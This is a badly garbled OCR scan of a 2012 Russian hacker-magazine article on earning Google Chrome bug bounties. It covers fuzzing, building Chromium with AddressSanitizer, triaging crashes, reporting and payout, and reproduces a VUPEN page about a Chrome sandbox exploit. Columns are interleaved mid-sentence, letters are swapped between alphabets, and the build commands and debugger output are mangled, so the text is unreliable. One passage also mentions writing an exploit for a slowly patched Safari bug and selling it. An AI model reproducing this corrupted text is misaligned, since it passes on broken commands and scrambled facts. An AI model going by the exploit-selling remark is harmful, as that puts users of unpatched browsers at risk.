Артур Геркис Itwittег.соm/ахЗЗОd,

в

е

00

готе Ыt.lу/грВАН9 список инициатив ,

где можно получ и ть кеш за уязвимости;

can;use.com -таблица возможностей браузеров ;

bjt.ly/taDA7s историческая

новость от Netscape; bjt ly/alUyof Hall ofFame;

ЫЦу/kуВЕkv ­ проект

ASan;

РУКОВОДСТВО ПО ЗАРАБОТКУ НАПЕНТЕСТЕ ПОПУЛЯРНОГО ВЕБ-БРАУЗЕРА

ЫЦу/оJпгhР исследовательская

работа «How Ореп 5hould Ореп 50uгce Ве? »;

bjt ly/uQywEh интересная работа

«Grammar-Based Interpreter Fuzz Testing».

Сегодня существует немало различных программ

а также все

с помощью которых

уязвимостей в софте с открытыми исходниками. В браузерном мире сама

Netscape На нашем диске ты найдешь скрипт сборки Chrome,

bug bounty,

можно неплохо заработать на поиске

инициировала это движение

уже в далеком и

Google

1995

году, а затем

Mozilla

подхватили тенденцию. Прямо

перечисленные

сейчас я научу тебя , как выжать баксы

в статье публичные фаээеры .

из

018

Google

Chгome.

on5ec.rul


Охота на жуков в

е SVGBIo.tecl: stlrt p.ge

Google Chrome

~ 2.DOM Node Removed

Chгomium 17.0.918.0 (Developer Build 106873 Linux)

Copyright © 2006-2011 The Chromium Authors. All Rights Reserved. Chromium is made possible ореп souгce

Ьу

the Chromium

ореп

source project and other

software .

)CClose

$Revision: 1.6 $

$Revision: 1.5 $ Фаээим брауэер собственной сборки

ОБ ИНИЦИАТИВЕ

GOOGLE

не всегда стоит рассчитывать на получение

два метода могут смутить своими названиями,

Прежде чем хватат ься за поиск багов и написа­

заявленной суммы. Вознаграждение может

однако далее мы подробно поговорим о них.

ние отчетов, с моей стороны было бы корректно

оказаться и больше

:1. Например,

рассказать читателю, с чем мы имеем дело.

человеку под ником

А дело мы имеем с

выплатили не

wushi из команды team509 509 долларов за найден­

Program . В

Google Vulnerability Reward

рамках этой программы ко рпорация

500,

а

недавно

ную уязвимость просто ради шутки, из-за сим­

добра предлагает денежное вознагражде-

воличного названия. Так что ребята в

ние всем, кто желает помочь проект у

тоже не без юмора.

Chrome

Google

в повышении уровня безопасности. При

Google

If'''liiii

Думаю , понятие фаззинга всем известно ,

поэтому не буду повторяться, а лишь опишу некоторые моменты, касающиеся браузеров .

Здесь, прежде всего, следует помнить о том,

В зависимости от типа приложения и его

что не ты один ищешь уязвимости

-

я смело

этом можно не только получить деньги , но и за­

лицензии применяются разные методы по­

предполож у, что это делают ты сячи людей

светиться в списке

иска уязвимостей . Но браузер с открытыми

по всему миру с помощью компьютеров и так

Hall 01 Fame,

куда включают

всех исследователей, которые так или иначе

исходниками предоставляет нам возможность

называемы х фаззинговых ферм. Так что это

помогли в исправлении багов. Чтобы попа сть

пользоваться абсолютно всеми доступными

самая настоящая гонка! И чтобы не отставать

в него, вовсе не обязательно претендовать

методами, что увеличивает шансы обнаружить

от других, твоя программа-фаззер должна об­

на кеш, достаточно быть искренне заинтересо­

баг. В данном случае я считаю целесообразным

ладать следующими свойствами:

ванным в оказании помощи, активно участво­

прибегнуть как минимум к следующим методам

вать в проекте и положительно себя проявить.

поиска уязвимостей: фаззинг, изучение ис ход ­

высокой скоростью работы Iколичество

ников, бинарный анализ, « переоткрытие » ба­

уникальныхтестоввединицувремени~

Эта программа, запуще 'нная в январе

2010

года, изначально предусматривала три уровня

гов, ручной поиск С тестированием . Последние

вознаграждения: $500, $1000 и $1337. Через

оригинальностью;

способностью воспроизведения крашей

Iлогированиеl.

полгода в программу, отметившую мини­

юбилей, были внесены изменения, в том числе и введен четвертый уровень вознаграждения

-

теперь за обнаружение критического бага

дают $3133,7, а за отчет хороше го качества­ $1000 Iчто это за отчет, ты узнаешь, прочитав статью до концаl. Лидером команды безопасников

Chrome

является небезызвестный исследователь

Chris Evans. Вместе

с

Adam

Меiп он и раздает

Под оригинальностью я в первую очередь

СТАТИСТИКА

HALL OF FAME

подразумеваю какие-либо особенности, отли­

чающие твой фаззер от тех, которые находятся в публичном доступе. Таким образом, лучше написать свой собственный фаззер, хотя, конечно, можно взять и любой доступный,

На сегодняшний день на странице

Google Security Hall 01 Fame

висит длинный

и регулярно пополняющийся список хакеров.

Но обычно там можно встретить одних и тех

но его необходимо модифицировать так, чтобы он мог генерировать уникальные тест-кейсы. Как ты понимаешь, нет никакого смысла в том, чтобы в сем дружно фаззить одни и те же баги.

кеш налево и направо. Первым человеком,

же известных багхантеров, всего около

которому выплатили сумму, соответствующую

человек (включая исследовательские группы

Да , можно ~айти какой-нибудь всеми забытый

новому «элитному» уровню, стал Сергей Глазу­

и компании). За всё время существования

фаззер и использовать его. Но много ли будет

нов, нашедший уязвимость

инициативы было выплачено порядка

проку от инструмента, которым по какой-то

«Browser crash in HTML5 speech UI» Icrbug.com/68666 ). Правда,

ХАКЕР

02/157/ 2012

тысяч долларов!

60

270

причине никто не пользуется?

019


COVERSTORY Дополнительный вклад в оригинальность

кода, а только лишь после этого подключать

БИНАРНЫЙ АНАЛИЗ И РУЧНОЙ ПОИСК

вносит выбор исследуемого компонента.

голову. Н о ознакомление с исходниками в лю­

Бинарный анализ имеет свои преимущества

Практически любой современный браузер

бом случае не повредит.

да же при наличии исходников, несмотря

на всю его сложность. Уровень исходников

представляет из себя этакий мультимегаком­

байн

-

чего туда только не понапихано, чтобы

ПЕРЕОТКРЫТИЕ БАГОВ

и бинарь

-

это два совершенно разных

усладить нежную душу веб-разработчика или

Чтозначит « переоткрытие багов»? Очень

дизайнера. Ни один вендор также не хочет от­

просто

ставать в гонке на соответствие требованиям

веряем, насколько хорошо они исправле­

конкретными вещами. Программист пишет

ны. Например, уязвимость в

код в соответствии со своими предста~ления­

-

листаем старые уязвимости и про­

мира. В первом случае мы оперируем более абстрактными понятиями, а во втором

-

уже

в своих творениях абсолютно все современ­

Mozilla Firefox с идентификатором СУЕ-2010-0179, 'позволяю­ щая выполнять произвольный код В Firebug,

ные фичи. Тут еще, конечно же, встает вопрос

была переоткрыта , после чего ей присвоили

Конечно, попытка проследить логику работы

выбора между скоростью внедрения и ценой

еще и идентификатор СУЕ-2010-3773 . Да,

какого-либо куска ко да в ассемблере, имея

за эту скорость. Как говорится, поспешишь

хоть и редко, но такое бывает

W3C,

теряя из-за этого некоторую долю рынка,

поэтому вендоры стремятся реализовывать

-

людей насмешишь. В нашем случае же

:-1

-

уязвимости,

ми о том, как он должен работать, а хакеры видят, как код работает в д ействительности .

на руках исходники, не оправды вает себя.

которую разработчик пло хо исправил, при­

Здесь имеет смысл обращать внимание

сваивают еще один идентификатор . Несмотря

на такие низкоуровневые процессы, как

3, HTML 5, DОМ, 5VG, Canvas, Audio/Video, WebGL, Drag'n'Drop,

на то, что таким способом много уязвимостей

чтение из определенных участков памяти

не найдешь, анализ старых багов помогает по­

или запись в них. К тому же для оптимизации

всякие хранилища и прочее и прочее. Что ка­

нять, где разработчик'и чаще всего ошибаются

программы компиляторы могут менять код

сается самого

и на чем следУет заострять внимание. К тому

не предусмотренным программистом образом.

поспешишь -

багхантеров накормишь.

К таким фичам относятся С55

Chrome,

то там есть и собствен ­

ные разработки, например формат картинок

же этот способ позволяет попрактиковаться

В общем, то , что ты видишь,

WebP.

в изучении уязвимостей на реальных примерах

будет исполняться. Конечно, так или иначе

в исходниках. На баг-трекерах

ИЗУЧЕНИЕ ИСХОДНИКОВ

Mozilla

и

Webki!

э то не то, что

придется делать бинарный анализ, но тут всё

полным-полно описаний уяз вимостей как

уже зависит от того, как ты ищешь уязвимости

и , соответственно, с какой целью реверсишь

в случае с опенсорсными браузерами можно

от разработчиков, так и от

получить исходники И искать уязвимости

советую туда заглянуть. Лично я регулярно

н епосредственно в миллионах строк кода,

посещаю эти злачные места.

перебирая всё подряд , или же целенаправ­

-

ZDI,

так что очень

К методам реинкарнации жуков относится

бинарь. Ручной поиск с тестированием проводится в случаях, когда автоматизировать проце сс по­

ленно исследовать какой-либо компонент,

исследование баг-трекера или чейнджлога

иска уязвимастей сложно. Допустим, это может

допустим

и поиск еще не исправленных уязвимостей

быть проверка корректной работы политик безо­

более трудоемкий, чем фаззинг. Тут нужны

в различны х браузерах. Несмотря на то что

пасности в каких -либо специфических условиях

усидчивость и желание рыться висходниках

баги , которые были признаны критическими

или при использовании новых технологий, поиск

часами напролет, а также уверенные знания

с точки зрения безопасности, обычно закры­

багов , которые возникают, когда пользователь

С++ lих уровень должен быть не ниже, чем у тех

вают от публичного доступа , и тикет получает

выполняет определенную комбинацию действий

ребят, которые пишут данный браузерl. Я бы

статус

не слишком надеялся, что в коде удастся найти

всегда существует вероятность найти нечто

Да никак, поэтому тут можно или чисто случайно

какие-либо опечатки или недочеты , хотя и это

интересное. К

найти баг, что одному ресерчеру удается не так

не исключено . К тому же где гарантия того,

в меньшей степени, так как команда его раз­

что тебя, после того как ты потратишь месяц

работчиков очень быстро реагирует на обнару­

определенную технологию , при меняя нестан­

на копание в коде, за пять минут не обойдет

женные ошибки и исправляет их. Др у го е дело

дартное мышление хаке ра.

XML-napcep. Однако

этот метод

pubIic только

после выхода патча ,

Chrome,

конечно, зто относится

через интерфейс. Н у вот как такое нафаззить?

часто, а можно и целенаправленно исследовать

чей-нибудь фаззер, написанный на коленке

5afari -

за пару часов? Если уж на то пошло, то процесс

и поэтому есть шанс в определенный про­

было бы неплохо автоматизировать с помощью

межуток времени найти уязвимость, написать

Если ты собрался тестировать

использования статических анализаторов

сплойт и продать его.

то не забывай, что он работает на многих

Кажется , в

020

они подолгу тянут с исправлениями,

ТЕСТОВАЯ ПЛАТФОРМА ДЛЯ

CHROME

Chrome,

Chrome нашлось переполнение кучи

ХАКЕР

02/157/2012


Охота на жуков в

Google

Chгome

и поэтому не могу знать об особенностях сбор­

ки браузера на други х системах.

СБОРКА БРА У 3ЕРА Для начала давай скачаем исходники браузера со страницы проекта , а затем распакуем их.

Теперь необходимо исправить файл

.gclient,

добавив туда следующие строки :

.....................

·:.сщ;tQI!I_ deR~::....;.. с .... ·: s.r.cl.t.!1j.nLRi!rJyji!.~i!I!·:":._ ............ _ ._........I!:tt[l .:.JJ.s.rr;. ..J;tJr.Q!!!j.YJ!! •.Qг.gl.~)!I!Itг.J,ю!sI. ..

..... . _..!:IJ;!р~l.tЬJгd-.Рi!г..tуjiJ.Si!Л ·:.~ ............... Это укажет конфигуратору, что нужно ис­ пользовать

ASan. Для сборки ASan необ хо дим Clang [bit.ly/mf7cuG). После его установки вы­ полняем в командной строке сценарий ./build/ install-build-deps.sh. Этот скрипт разрешит нужные зависимости и наведет порядок там ,

где это необходимо . Теперь следует настроить переменные окружения, выполнив следующие к.оманды:

e.XPQrJ.J)blH=$HQMUr.te[lQ:t_:t.QQ1~.; .$P(\II:! .............. !=.9 ~rc .......... _ ............ _..................................... i\$AN= . [1.\'19 :.LtIJJrd_p<lr.tyJ_a5)'1]1 ..... ....... _.......... I\$АN_ВJ.N=.$.I\$Njji!.s.аl)_!=Ji!I!~ьtШJхL.РiD. ..............

AddressSanilizer диагностирует краш

в.~...К.l<.LJя,,:·.-mJl.V!IJ.. :;;IS<!I!-.рl;J<;!SJi~1;4AS~/ .. .

ОСях:

Windows [только 32 бита), Linux и Мас.

заменяет

malloc[)/free[) на свои функции, ко­

a~<!f)_Plat;~lJ~:t.• txt....

................. _.................. .

Существует вполне весомая причина про­

торые «маркируют » зоны вокруг используемой

с.(= .. $ASNu!)щсli!лg ..$Вl.AсК.LI5.Т'·.............

тестировать его на все х доступны х тебе

области памяти . Затем компилятор генерирует

С)Q(=::$А$NUШIIсJ;;II!g+.±_ $~_I.AСl<.Ц.$J"......... _ .. _

системах: какой-либо баг может не по казать

код, который проверяет меченые зоны. Если

GYP_Р~ПN.Е.$=. ~i!s.i!!J.=J .. Н!!J)х_!!s.е_tr;.m<!1Jщ;"е _.

себя на одной операционке, зато успешно

эа прош енный адрес помечен, выводится ошиб­

['.e],e.a:i.e_e1(\:.ra_!;flj!g!;=:' :g..:.!д...:.f]1Q~J!!Jir:Lec...

проявится на другой . Например, недавно был

ка . Советую заглянуть на сайт проекта

fЧ.щtJQЛ:i.. :ff)9 :j..I1H!!~·~ .. :... g!;.H .e.nt .. r.!!r!.hQQk.s.

обнаружен крайне интересный баг в библио­

представлено достаточно примеров, кото-

теке

рые позволяют понять , как работает данный

GNU

С, который проявлялся исклю­

чительно под Лину ксом

!c rbug .com/48733 ).

Такж е попробуй протестировать максималь­

-

там

_........

Команда для сборки самого браузера вы­

инструмент.

глядит вот так:

Подготовленный таким образом Chгome

.. ..\ .....

ное количество браузеров. Одновременно

сильнооблегчаетзадачуопределениятипауяэ­

l1]iJke....-j].g.JНJJ!.РI'!'Р.Е.=fiе.lе.аsе.

могут стоять только сапагу и любая другая

вимости, будь то

версия, но не

free

.CXX="S.CJQ(' С.С. hQ5t.= "$C~ ·~.. \ __ ........................ ...CX)(,.•bQ.sJ= .. SCXX·~...L.IN.K.~b..Q~:t=.::lc)(X::....c.hr.QJne.

dev, beta или stabIe вместе [кеш stabIe, beta или

heap buffer overflow,

use-afteг­

или что-то др угое . Для этого достаточно по ­

~.c':'.".$cc

можно получить за версии

смотреть в логи

dev). Таким образом, после просты х расчетов

В процессе компиляции брауэера потребуется

получаем, что для фаззинга у нас есть как

хо рошее интернет-соединение для регулярной

часа. Но, как уже было упомянуто выше, этот

минимум

вариантов сборок браузера всего

ASan.

Однако не все так просто .

На моем компьютере сборка заняла меньше

синхронизации исходников, а также довольно

процесс весьма требователен к конфигурации,

лишь от одного производителя. Это суще­

мощный компьютер для сборки и по сле дующе ­

поэтому советую выделить не меньше

ственно повышает шансы найти уязвимость,

го анализа краша. Но обо всем по порядку.

на жестком диске, как минимум

15

а если у тебя имеется возможность фаззи т ь

все это одновременно, то вообще прекрасно

Прежде чем приступить к делу, хочу

сказать, что я использовал UЬuпtu

12

50

Гб

Гб опера­

тивной памяти и использовать мощный про­

10.10, х64

цессор, чтобы сборка не затягивал ась.

процесс ускоряется в разы l Можно

-

исследовать готовый бинарник, а можно и самому собрать браузер. П оследний вариант имеет свои преимущества , о которых я сейчас и расскажу.

Google Chrome

можно собрат ь с АSап.

Что такое АSап? Это сокращение от

ТОП-5 ИССЛЕДОВАТЕЛЕЙ GOOGLE CHROME

Address

Sапitizег, который представляет собой еще один проект от гугловцев, призванный эа­

менить Vаlgгiпd. Он работает гораздо быстрее

Valgrind.

Если последний замедляет программу

в десять раз, то

ASan -

всего в два. Этот ин­

струме нт позволяет обнаруживать уязвимости

типа

use-after-free, оvегflоw/uпdегflоw кучи

и стека, а также другие багги, связанные с по­ вреждением памяти. Кроме того,

ASan

на ходи т

больше багов, чем старый добрый Vаlgгiпd. Он

ХАКЕР

02 / 157/ 2012

...,..... .. ~

~

~'r-

h:.~.........."...:.i;;.;._.

1. СЕРГЕЙ ГЛАЗУНОВ (54 уязвимости) 2. MIAUBIZ (49 уязвимостей) з. AКI HELIN (24 уязвимости) , . KUZCC (22 уязвимости)

5.

CHRISTIAN HOLLER (19

уязвимостей) 021


COVERSTORY

11111111114111 Если браузер собрался успешно, то запускаем

7 e6b!o!o!o!iic~,!ii!i1i11!Ji~~:ir::~!!!!!!!!~!!!!!!!!!!!!~~;;;;~;;;;;;~~~

его с такими параметрами:

А$.А!СQ!'ПQN.$.=.~t.<!J;~.= l

QJ4J;J8.ele<!seJ ch.t:_Qme.. ...с_с п.о =_s.<!.шJ.bQх ...Z?~;I, __.1.. t1JJrd_p.<lT1;y./..a ~.an/ ......

77е10000

С : 'VINDOV5'-systеа32'-.RPCRТ.f. . dll C:'VINDOVS'sys t ea32'5ecur32.dll С : 'VINDOU'S'ауstеаЗ2~IЗ2 _dll

77! 03 00 0 17feOOOO 77ffl000 77f 10000 77f 59000

..$.~.г.;i,.р1;.$./..а~.аО_~У.!lJ1;>9Jц,е.•.рУ....I ...С+:fjil t .

7е410000

7.,441000

С : 'V1NDOIIIS'&ystоа32'USERЗ2 . dll

77с l000 0

77с68000

C : 'VIHOOV5'systea32'-аsvcrt

7с9сОООО 769сОООО

Браузер запустится без песочницы, все ошибки будут перенаправлены на вход специ­

. dll

C : 'VINOOV5'-systеа32'\SНELLЭ2 . dll С : 'VINOOV~уstеа32'USEREИV .dll C : 'U INOOUS'syst;ea32'VТSAPI32 . dll С: 'UINDOU~stea32'UINSТ•. dll C : 'UINDOVS'-s7Stеа32~1РI32 .dll

7dld8000 76&74000 76f50000 76f58000 76360000 76370000 5Ь860000 5Ь8Ь6000 77сООООО 77сО800D

C:' UINOOVEi's.ystea32'\VERSIOH.dll

отвечает за символы. Имей в виду, что утилита

76Ь40000 76b6d00D 76390000 763adOOO 773dDOOO 774d3000

С : 'UINDOVS'.avstоа32'UINИК . dll С : '1ПNDOVS'.systе.32ЧИК32 . Dtt С : 'V INDOlI~VinSxS'-x86_Нicrosof

аddг2liпе, которую использует зтот скриптом,

01сЗОООО 037а5000 74еЗОООО 74e9dOOO

пожирает огромное количество памяти во

76380000 76385000 6f500000 6f57dOOO

C : ~nts аnd Settings'-Atb.inistrator'-l.ocal C : 'V INDOV~ystea32~ICНED2 0 .dl1 C : 'V INDOV~ystea 32~IHG32 .dl1

ального фильтрующего скрипта, который

76f20000 76f47000

струментами для сборки статистики, можно

4l!dOOOOO

запустить и так :

10006000 01000000

71аЬОООО 71~7000 71ааОООО 71аа8000 4Ь665000 5м70000 54da8000 10 3а.2000 01 10Ь ООО 629сОООО 629с9000 77а80000 77Ы5000

. dll

C : '''IНDOV~te.32~I . Dtt C : 'VIHDOV5'-sуstеа32'-ОLEАСС . dll C : 'UINDOV5'.systea32~le32 .dl1 С : 'V IN[)()V$'.systеаЗ2'-ОLE1UТЗ2 . dll

61880000

запускать браузер вместе с парсерами и ин­

.

C : 'V INDOV~ystea32~NS1P I .dll C:'VIHDOUS'systea32'VS2_32 .dll C : 'V INDOVS'-systе.З2'VS2 НEI.P .dll C:'J>ocuaents and Settings'-A.tb.inistrator'-l.ocal Settings'-App!ication

Do.t.o.~lе'\Chrcае'-А.ррli

C:'-Doc::u».ents аnd Settings'-Adainistrator'-local Settings'-A.pplication C:'l)ocuaents and. Settin9s'-Adainistrator~1 Settings'Application

Do.ta'Google'-Chrc8е'-Аррli Do.tа~lе'\Chroае'-А.ррli

С : 'VIНDOVS\.systеаЗ2'UхТЬеае . dll

C : 'VINDOV'S'-systеаЗ2'-I.PК . DU С : 'VIНDOV~ystеа32'cryptЗ2

.dll

77ЫОООО 77Ь32000

C : '''IHDOV5'-systеа32~SNl . dll

6SecOOOO 6618dOOO

C:'\Docuaents &nd Set.t.ings'-Adainistra.tor'-l.ocal Settinga'lpp!ication C : '-lЮcuaепts and Settiпgs'А-tb.iпistrаtar'-l.ocal Settin9s'-Application C : ~nts a.nd Settings'-Adainistrator'-l.ocal Settings'-1pplication

68Ь80000

Do.ta~le'-Chroae'-Appli Do.ta'\.Google'\Chroae'-Аррli Do.ta"-Gc::loglе'\Chroае'-А.ррli

~о~~~-i~оо~Оо~~j':есх==~~~ ~~og~~~~O~i!~~M~O~~!OOOOOOOS

Теперь, когда ты научился правильно со­ бирать тестовую платформу, настало время

C : 'VINDOV~stoa32'USPI0

76ЫОООО 76ЫЬООО 618ЬаООО 774еОООО 7761eOOO 77120000 771аЬООО

время работы 'у меня на нее уходило вплоть до 9 Гб). В принципе, совсем необязательно

t . Viпdоvs . Со_on-COntrols_6595Ь64144ссf ldC6 . 0 . 2600 . 6028_х-." Set.t.ings'lpplication Do.ta~le'-Chroae"'ppli

ebp-ООf8fff4 iopl-0 es-ОО2З f5-0038 9а-0000

I le,p-"с"JllUе

пу

up ei

р1

zr па ре ос eH-ООООО246

выбрать способ для поиска багов . По понятным Defaultec:1 to

причинам я не буду приводить здесь конкрет­

oжpcrt

syabols for C:'J>ocuaents o.nd

Settings'Ad.inistrator~

ные рецепты по багхантингу и перечислять соответствующие мануалы, но для начала

посоветую остановиться на фаззинге и выбрать

правильный софт lесли, конечно, ты все-таки не захотел или не смог использовать свои

собственные наработки) . На данный момент доступно несколько достойных внимания публичны х фаззеров браузеров : cross_fuzz, ref_ fuzz, Canvas fuzzer от Michal Zalewski, jsfunfuzz от Jesse Rudermann, BF от Jeremy Brown. У все х

перечисленных фаззеров разные принципы работы: фаззинг ООМ, мутирование документа, фаззинг грамматики фаззинг

canvas

и

WebGL.

HTMLJava5cript,

Большая часть этих

фаззеров отработала свое и вряд ли сможет найти новые уникальные уязвимости

-

всё

требует доработки . Но разработчики браузеров

WinDbg схватил наЗОЙЛИВblЙ Stack overflow в Chrome

продолжают развивать некоторые фаззеры, на­ пример

jsfunfuzz. Подробно

описывать каждую

Вернемся к нашему браузеру. После выхода

из перечисленных программ было бы неце­

новой сборки ты можешь обновить исходники

лесообразно, так что советую просто взять и х

с помощью команды «./gclient sync». Затем

вполне мог упустить часть уязвимостей из­ за сложности анализа или нехватки времени.

ЖУК ПОЙМАН, ЧТО ДАЛЬШЕ?

с нашего диска и самостоятельно попробовать

с ледует повторить вышеописанные операции

в деле .

для поиска багов. Чтобы не вводить каждый

Итак , допустим , ты нашел баг в

раз все команды при обновлении браузера,

ши сразу же о нем сообщать! Из обычного

я использую простой Ьаsh-скрипт, который

бага можно выжать гораздо больше, чем если

Don,

mlп any upd8tn from "'hln 18.... OetJlDll'ataQCIIIT.... ....,IO_~_ . . lIIIr8SISyouJ

.......

-@iOn1.

просто раскрыть разработчикам свой

не всегда полезно синхронизироваться, за­

of-Concept.

частую лучше проверить состояние проекта

нужно обязательно рассказать. Для начала необходимо понять , является ли обнаруженный

статус Ореп, то можно качать сорцы, если

баг настоящей уязвимостью или нет.

то

Chrome

может и не собраться.

какие именно баги не являются уязвимостями:

которые регулярно в автоматическом режиме

005, ООМ - баги истощения памяти, 5tack exhaustion - истощение стека Iнапример,

собирают браузеры в разны х системах.

Chrome.

Так вот, зти шансы весьма и весьма

неплохи . За одну неделю фаззинга в

Chrome

мне удалось найти четыре уязвимости: одну

005

022

В принципе, на странице проекта указано,

Информацию эта страница получает от ботов,

Вероятно , тебя интересует, каковы шансы

Pwn20wn

Proof-

Тут есть масса нюансов, о которых

на странице bit.ly/s9wt5F. Если вверху висит

найти уязвимость в таком браузере, как

Ресерчеры недовольны правилами

Не спе­

можно также найти на диске. Однако далеко

Closed,

PWN20WN Chrome attack is not very realistic:Sandbox escape required,no kernel bug allowed.Luckily а reaJ attacker doesn't have this limit.

Chrome.

и три типа

use-after-free.

В то время я

фаззил без А5ап, поэтому предполагаю , что

когда функция попала в рекурсию) . На всё остальное

- переполнение буфера или кучи, use-after-free и прочие известные нам баги­ следует обращать внимание. Если из-за 005 п'адает весь браузер , то ее стоит пометить как

5ecurity 'в багтраке такой баг будет помечен как некритичныЙI . Но большинство багов - это

ХАКЕР

02/157/2012


Охота на жуков в

дей с твительно только баги, поэтому, особенно

-

если долго занимаешься багхантингом , пере­

других жуков , которые скучают по нам.

стаешь радовать с я при виде очередного

Snap! ». Иногда Chrome

«Aw,

прин удительно у бивает

не в первый и не последний раз, есть куча

действиях

Google Chrome

он дает ссылки на форму, которую

-

нужно заполнить, чтобы стать подрядчиком

И вот, наконец-то, мы сообщили о сво-

Google. Ужасная

форма, я тебе скажу. Во­

ей первой уязвимости, сидим и ждем . Нет,

первых, она на английском , что , может, не так

процесс, чтобы избежать всяких неприятностей

не ждем , а продолжаем искать другие уяз­

уж и страшно, во-вторых, там присутствует

типа истощения памяти . Самая популярная уяз­

вимости. Обычно на с ообщение реагируют в те­

множество полей, которые не так-то просто за­

вимость среди браузеров

чение с уток , затем констатируют критичность

полнить . К тому же, если ты не гражданин США,

уязвимости и подтягивают соответствующи х

то тебе придется заполнить еще и специаль­

с ле того, как ее уже освободили. Баги повреж­

разработчиков , которые начинают процесс

ный РDF-файл , отсканировать его и отправиfь

дения памяти хорошо ловить инструментами

устранения бага и разработки патча .

по мылу. В этих формах следует указать инфор­

-

это

use-after-Iree,

попытка использовать указатель на память по­

типа

Valgrind

или

ASan.

.

мацию о реквизитах твоего банковского счета

Это быстро и удобно,

но можно , конечно, использовать и отладчик

ПОЛУЧЕНИЕ КЕША

и некоторую другую персональную информацию

Это одновременно и приятный, и муторный про­

вроде почтового адреса, телефона и т. д. Затем,

цесс. Точных сроков получения вознаграждения

в зависимости оттого, насколько быстроты

вера проекта . И сразу предупрежу начинающих

не существует, так как всё зависит оттого ,

справишься и когда отреагирует человек , кото­

-

на каком этапе планирования релизабраузера

рый управляет тикетами, тебя примут в систему

RelaunchChromeBrowserWithNewCo mmandLinellNeeded, то зто значит, что с симво­

ты отправил сообщение о ба ге, а также оттого,

Google. Заполнять

что он собой представляет. Бывает так, что

бится. Через какое-то время после регистрации

ла ми непорядок , их нужно перезагрузить:

уязвимость, которую ты наuJел, не так-то просто

тебе сообщат, что деньги' находятся в системе

исправить, ошибка может затрагивать сразу

пере вода .

WinDbg . Под виндой я использую WiпDЬg - все нужные символы доступны gdb

или

с сер­

если в стеке вызовов содержится много

стр о к типа

! $~,"

несколько компонентов и требовать от раз­

noi~y __ _

.r.e~Q<ld j d

больше ничего не понадо­

ДОМАШНЕЕ ЗАДАНИЕ

работчика тщательной проверки. Теперь пред­

/f.. /0

положим, что тебе уже пообещали выплатить После того как ты определил, что некий баг

l;iадеюсь, мне удалось заинтересовать тебя ре­

определенную сумму. Вернее, в баг-трекере

серчем

указали лейбл, например

ждет новых исследователей. Для начала посети

Google Chrome,

ведь

Hall 01 Fame

всегда

и не отсылать. Дело в том, чт о оценка твоей

reward-500. Ты также увидишь стандартный текст IBoilerplate textl с предупреждением о том, что до выхода

уязвимости напрямую зависит от того, на­

исправления нежелательно разглашать под­

комментарии от команды безопасников, и ана­

сколько ты облегчишь жизнь разработчикам.

робную информацию об у язвимости, иначе это

лиз уязвимостей, и немало смешных перлов

Чем проще понять, в чем суть бага, тем бы­

может привести к невыплате воэнаграждения .

от пользователей. Полагаю, я привел достаточ­

стрей его исправят. В противном случае про­

Затем тебе нужно дождаться , когда с тобой

ное количество аргументов, чтобы мотивировать

цесс выпуска релиза затянется, а ты не скоро

свяжется

тебя на поиски уязвимостей в

-

зто не просто краш таба, а самая настоящая

у язвимость, можешь отсылать отчет. А можешь

Chris Evans

баг-трекер Хрома

-

обещаю, что там не соску­

чишься. На баг-трекере можно найти и полезные

и сообщит о дальнейших

Google Chrome. I

п о л у чишь свой кеш. Образец, который ты

с обрал с я посылать, должен быть максимально у резан и содержать только то, что крашит таб или браузер. Так легче локализовать баг и по­

VU?cN secu'

у

нять, что именно вызывает краш . Да и отладка , конечно же, ускоряется и упрощается. Итак,

tloт~

1

--

VUPEN Prodtlcl..

--...,......

I

Industry SoluliOn"

I

Vulllt~rl1bil'ly Rcscal'('ll

----..,...- VUPEN rr~ Resources

VUPEN Vul"er4bIlity Research Videos

рики нужно описать то, как заставить образец

WPEN Se:cunty Advisones

GOOq !f;

крашить браузер . Или же, если там всё и так

WPEN R,esa.rch Oemos

красивый сзмпл есть, но к нему необходимо еще и описание . Без излишних змоций и ли­

ясно, можно просто написать, что при загрузке

приаттаченного файла происходит то-то и то­

то . Ну, или не файла , всё зависит от того , что т ы нашел . Лучше всего , если ты сам понял суть бага и можешь четко и грамотно описать, где находится проблемный участок кода . Это еще один шанс повысить вознаграждение и изба­ вить разработчиков от лишней работы . Реаль­

но качественный отчет от

Chris Rohll

оценили

в целую штуку, хотя он и касался бага , который

~~.

СЬсо mе

Pwned

ьу

YYPfN o ko

~lI1d

I

R('!~our(es

I

COlllact Sale..

I

COnlpanv

Den1onstratlons

Hi everyone, Zero·d.y Threots

We

Момог

Hailin91ist .nd Newsletters Explan.tlon of Terms Advanced Seardl Engine

"ге

..

аnnOlmсе;

that we

муе offic:i,ally

Pwned Google Chrome and its sandbox.

ом of the most sophisbc.at~ codes we hew; цеп аnd Ct"e:ated $о seCl.lnty (еМиге •• nduding ASLR!DEP/Sandbox (ancl Wlthout explolting 111 Windows k8mol

video shows tho exploit in <1Iction wi'th • defllult inst.lIaotion of Google Chrome vll,0.696.6S on Microsoft.

:;t'ec:sa?teS~;Zu~)p~ad~:~ois ~~:~i;\tQdo~~~~ ~~:~::~i~:: =~ti~~e ::fr:u~ outside the sandbox

(а!

Medium integrity level),

white OIrome М! оnе of the moй secure s.ndboxes and М! always survlved the PwnЮwn contest during the 'Ш three years, W8 n've now uncovered • reHable w.y 10 exearte arbittary code on аnу default installatlon of ehrome desPl\e rts яndtюx. ASLЯ end [)ЕР.

~:J:d%'::S::~u:~rts~aC:d·~ue=:'~~Se~ ~~::~~ pV:~n~(o~~!:~obij4vber::e~

..,,;ш. J.lIitdШ:

The

expkмt

МАТСН)

shown in this video is

~~;:~~ ~PE~e~J~~~ ~:~I ~= ;;::~tt;~~tl .~~~). undisdosed (Qday) vulnerabilities тhe

• Нovе11 Groupwise Calendar RRULf Remote Buffer Overflow (НО­ ~integertJst"

(un)hapPV 10

тhe 8)(p\oi

far as it: b~sses

Cu..,tomer Ared •

So pdbgx lAS LВ /QEP В УРА"

WPEN Res8arc:h Те.т ВЮg

Security New$ _nd Thre.ts

1

wolics on both e hrome versions

создает среднюю угрозу. Не знаю, что тут еще

11,Х,

11,)(, 13.x . nd 14.х,

• Ноуеl1 GroupWlse

C.lendar RRULE "BVWEEКNO" Remote "'еmoгу CorruptlOn (HO-МАтен)

• Novell GroupWise Qlenclor "ТZNAМE" Processing R,emote 8uffer Overflow (сУе2011-0333) • Novell GroupWlse e.lendar "RRULE" ProceS51ng R,emote Неор Buffer Overflow (HO-МАтен)

• Divx Plus Web PlayerAc:tiveX"fiJe:/r

добавить , видимо, стоит просто открыть и по­

иАоI

PnIce$Slng

R,emote Buffer Overflow (NO-МATCН)

